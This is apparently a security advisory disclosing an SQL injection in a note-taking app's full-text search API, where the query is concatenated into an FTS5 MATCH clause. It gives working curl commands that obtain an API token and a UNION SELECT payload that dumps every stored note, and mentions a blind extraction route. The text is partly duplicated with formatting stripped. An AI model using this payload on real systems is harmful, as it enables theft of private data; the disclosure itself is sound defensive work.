Summary
The method=1 ("query syntax") branch of POST /api/search/fullTextSearchBlock concatenates the raw, attacker-controlled query string directly into the FTS5 MATCH operand of a SQL statement without escaping quotes. Only method=2 (raw SQL) is admin-gated; method=1 is reachable by any authenticated role, including anonymous publish-mode readers. A reader can inject a UNION SELECT and read the entire blocks table (all document content, titles, markdown, attributes), bypassing the publish-access boundary.
Details
The FTS5 query string is built by string concatenation in kernel/model/search.go:2416 (fullTextSearchByFTSInBox), and identically in fullTextSearchCountByFTSInBox at :2677:
stmt := "SELECT " + projections + " FROM " + table + " WHERE (`" + table + "` MATCH '" + columnFilter() + ":(" + query + ")'"
The query is only passed through filterQueryInvisibleChars (search.go:1656), which does not escape '. The sibling search methods escape via stringQuery/fieldRegexp; method=1 does not.
Dispatch (kernel/model/search.go:1674-1686):
case 1: //
...
blocks, matchedBlockCount, matchedRootCount = fullTextSearchByFTSInBox(query, ...) // raw query
Entry (kernel/api/search.go:529-544) - only method=2 is admin-gated:
if method == 2 && !model.IsAdminRoleContext(c) {
ret.Msg = "SQL search requires administrator privileges"; return
}
This sink is distinct from two prior, already-fixed advisories on the same endpoint: GHSA-j7wh-x834-p3r7 (method=2 raw SQL, now admin-gated) and GHSA-h89q-4j2h-7h88 (paths[] concatenation, now parameterized via buildPathsFilter). The query→MATCH concatenation was missed by both.
PoC
Prerequisites: a running kernel on :6806 (or any port), a known workspace, and the access auth code (here test123, set at boot via --accessAuthCode). Any authenticated role works; in publish mode an anonymous reader reaches the same endpoint.
Step 1 - obtain the API token.
Obtain the token remotely via the login flow (loginAuth sets the siyuan session cookie; getConf returns
the token):
curl -s -c /tmp/cookies.txt -X POST "http://127.0.0.1:3806/api/system/loginAuth" \
-H 'Content-Type: application/json' -d '{"authCode":"test123"}'
TOKEN=$(curl -s -b /tmp/cookies.txt -X POST "http://127.0.0.1:3806/api/system/getConf" \
-H 'Content-Type: application/json' -d '{}' | jq -r '.data.conf.api.token')
echo "$TOKEN"
Step 2 - run the SQL injection (method=1).
curl -s -X POST "http://127.0.0.1:3806/api/search/fullTextSearchBlock" \
-H "Authorization: Token $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"query":"x)\u0027) UNION SELECT id,parent_id,root_id,hash,box,path,hpath,name,alias,memo,tag,content,fcontent,markdown,length,type,subtype,ial,sort,created,updated FROM blocks --","method":1,"types":{},"paths":[],"groupBy":0,"orderBy":0,"page":1}' \
| jq .
Step 2 - run the SQL injection (method=1).
curl -s -X POST "http://127.0.0.1:3806/api/search/fullTextSearchBlock" \
-H "Authorization: Token $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"query":"x)\u0027) UNION SELECT id,parent_id,root_id,hash,box,path,hpath,name,alias,memo,tag,content,fcontent,markdown,length,type,subtype,ial,sort,created,updated FROM blocks --","method":1,"types":{},"paths":[],"groupBy":0,"orderBy":0,"page":1}' \
| jq .
Step 3 - observe the full data dump. \u0027 JSON-escapes to '. The effective query x)') UNION SELECT <21 cols> FROM blocks -- closes the FTS5 column filter ()), the SQL string literal ('), and the WHERE ( paren, then injects a UNION returning all 21 projected columns from blocks, and comments out the trailing SQL.
The response data.blocks[] contains every row of blocks (documents, headings, paragraphs, their content/markdown/ial) regardless of the search terms - including a canary This is sensitive content: api_token=ABC123DEF456. (matchedBlockCount is 0 because the companion COUNT query's 2-column projection rejects the 21-column UNION; that query is separately injectable for blind extraction.)
Impact
SQL injection (read-only). An anonymous publish reader - or any low-privilege authenticated token escalates to arbitrary read-only SQL on siyuan.db (all notes, block attributes, refs, bookmarks, search history), bypassing publish-access controls. Because matchedBlockCount is returned unfiltered, the COUNT query also enables blind, byte-by-byte data extraction even where the block list is post-filtered. Confidentiality impact: High; Integrity/Availability: None.
Remediation: escape query for the FTS5 operand (reject/escape '), or bind it as a parameter (MATCH ?) as already done in fullTextSearchAssetContentByFTS (kernel/model/asset_content.go:195-199).
Summary
The
method=1("query syntax") branch ofPOST /api/search/fullTextSearchBlockconcatenates the raw, attacker-controlledquerystring directly into the FTS5MATCHoperand of a SQL statement without escaping quotes. Onlymethod=2(raw SQL) is admin-gated;method=1is reachable by any authenticated role, including anonymous publish-mode readers. A reader can inject aUNION SELECTand read the entireblockstable (all document content, titles, markdown, attributes), bypassing the publish-access boundary.Details
The FTS5 query string is built by string concatenation in
kernel/model/search.go:2416(fullTextSearchByFTSInBox), and identically infullTextSearchCountByFTSInBoxat:2677:The
queryis only passed throughfilterQueryInvisibleChars(search.go:1656), which does not escape'. The sibling search methods escape viastringQuery/fieldRegexp;method=1does not.Dispatch (
kernel/model/search.go:1674-1686):Entry (
kernel/api/search.go:529-544) - onlymethod=2is admin-gated:This sink is distinct from two prior, already-fixed advisories on the same endpoint: GHSA-j7wh-x834-p3r7 (
method=2raw SQL, now admin-gated) and GHSA-h89q-4j2h-7h88 (paths[]concatenation, now parameterized viabuildPathsFilter). Thequery→MATCHconcatenation was missed by both.PoC
Prerequisites: a running kernel on
:6806(or any port), a known workspace, and the access auth code (heretest123, set at boot via--accessAuthCode). Any authenticated role works; in publish mode an anonymous reader reaches the same endpoint.Step 1 - obtain the API token.
Obtain the token remotely via the login flow (
loginAuthsets thesiyuansession cookie;getConfreturnsthe token):
Step 2 - run the SQL injection (
method=1).Step 2 - run the SQL injection (
method=1).Step 3 - observe the full data dump.
\u0027JSON-escapes to'. The effective queryx)') UNION SELECT <21 cols> FROM blocks --closes the FTS5 column filter ()), the SQL string literal ('), and theWHERE (paren, then injects aUNIONreturning all 21 projected columns fromblocks, and comments out the trailing SQL.The response
data.blocks[]contains every row ofblocks(documents, headings, paragraphs, theircontent/markdown/ial) regardless of the search terms - including a canaryThis is sensitive content: api_token=ABC123DEF456. (matchedBlockCountis0because the companion COUNT query's 2-column projection rejects the 21-columnUNION; that query is separately injectable for blind extraction.)Impact
SQL injection (read-only). An anonymous publish reader - or any low-privilege authenticated token escalates to arbitrary read-only SQL on
siyuan.db(all notes, block attributes, refs, bookmarks, search history), bypassing publish-access controls. BecausematchedBlockCountis returned unfiltered, the COUNT query also enables blind, byte-by-byte data extraction even where the block list is post-filtered. Confidentiality impact: High; Integrity/Availability: None.Remediation: escape
queryfor the FTS5 operand (reject/escape'), or bind it as a parameter (MATCH ?) as already done infullTextSearchAssetContentByFTS(kernel/model/asset_content.go:195-199).